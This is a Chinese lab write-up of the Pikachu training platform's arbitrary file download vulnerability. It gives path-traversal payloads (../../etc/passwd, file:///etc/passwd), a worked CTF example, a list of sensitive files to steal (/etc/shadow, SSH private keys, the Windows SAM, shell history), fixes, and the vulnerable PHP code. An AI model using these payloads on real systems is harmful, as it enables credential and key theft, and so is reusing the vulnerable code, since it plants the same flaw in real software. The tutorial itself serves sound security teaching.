首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【Pikachu】不安全的文件下载

【Pikachu】不安全的文件下载

作者头像
菜菜有点菜
发布2022-03-17 14:47:41
发布2022-03-17 14:47:41
61300
代码可运行
举报
文章被收录于专栏:白菜博客白菜博客
运行总次数:0
代码可运行

1.什么是文件下载漏洞?这个网站漏洞的原理是啥?

但是,如果文件下载功能设计不当,则可能导致攻击着可以通过构造文件路径,从而获取到

由于一些网站的业务 需要往往需要提供文件读取或下载的一个模块,但如果没有对读取或下载做一个白名 单或者限制,可能导致恶意攻击者读取下载一些敏感信息(etc/passwd等),对服务器做下一步的进攻与威 胁。

原理:没有对下载的文件做限制。

2.为什么会产生这个漏洞被黑客攻击?最直接的原因是啥?

由于文件下载功能设计不当,则可能导致攻击着可以通过构造文件路径,从而获取到后台服务器上的其他的敏感文件。( 又称:任意文件下载)

3.怎么发现这个漏洞?怎么去验证漏洞是否存在?怎么利用这个漏洞?

利用方式

由于不知道敏感文件的路径,我们可以利用../../(返回上次目录)进行猜解。

例如:

代码语言:javascript
代码运行次数:0
运行
复制
index.php?a=../../../../../etc/passwd
index.php?a=file:///etc/passwd

案例

发现有下载功能抓包发现GET请求包filename=kb.png传参

代码语言:javascript
代码运行次数:0
运行
复制
http://lzctf.thecat.top/vul/unsafedownload/execdownload.php?filename=kb.png

filename=xxx 尝试下载wwwroot目录下的flag.txt文件。

代码语言:javascript
代码运行次数:0
运行
复制
http://lzctf.thecat.top/vul/unsafedownload/execdownload.php?filename=../../../../flag.txt

成功,下载其它敏感系统文件同理。

4.漏洞利用的首要条件是啥?漏洞危害的范围?漏洞导致的危害有多大?

通过任意文件下载,可以下载服务器的任意文件,web业务的代码,服务器和系统的具体配置信息,也 可以下载数据库的配置信息,以及对内网的信息探测等等。 总体来说,任意文件下载漏洞的利用主要是为了信息收集,我们通过对服务器配置文件的下载,获取到 大量的配置信息、源码,从而根据获取的信息来进一步挖掘服务 器漏洞从而入侵。以下整理了-些下载 利用文件:

代码语言:javascript
代码运行次数:0
运行
复制
Windows:
c:\boot.ini //查看系统版本
C:\Windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //MysqL配置
C:\Program Files\mysq \data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //MysqL配置信息
c:Windows\win. ini //windows系统的一一个基本系统配置文件
Linux:
/root/.ssh/ authorized_ keys
/root/.ssh/id_ rsa
/root/.ssh/id ras . keystore
/root/.ssh/known_ hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysqL配置 文件
/etc/httpd/ conf/httpd. conf //apache配置 文件
/root/.bash_ history //用户历史命令记录文件
/root/.mysql_ history //mysql 历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

5.如果在甲方公司出现漏洞问题,公司站点受到此攻击,我应该如何快速定位到问题进行修复防止被入侵?

1.过滤/等敏感字符,使用户在urI中不能回溯上级目录 2.文件下载时判断输入的路径,最好的方法是文件应该在数据库中进行一一对应, 避免通过输入绝对路 径来获取文件. 3.php.ini配置open_ basedir限定文件访问范围

6.如何提前防范这个漏洞?如何做好加固?

1.对传入的文件名进行严格的过滤和限定 2.对文件下载的目录进行严格的限定;

7.代码分析

代码语言:javascript
代码运行次数:0
运行
复制
// $file_name="cookie.jpg";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);

//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
    skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
    return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020 年 08 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.什么是文件下载漏洞?这个网站漏洞的原理是啥?
  • 2.为什么会产生这个漏洞被黑客攻击?最直接的原因是啥?
  • 3.怎么发现这个漏洞?怎么去验证漏洞是否存在?怎么利用这个漏洞?
    • 利用方式
    • 案例
  • 4.漏洞利用的首要条件是啥?漏洞危害的范围?漏洞导致的危害有多大?
  • 5.如果在甲方公司出现漏洞问题,公司站点受到此攻击,我应该如何快速定位到问题进行修复防止被入侵?
  • 6.如何提前防范这个漏洞?如何做好加固?
  • 7.代码分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档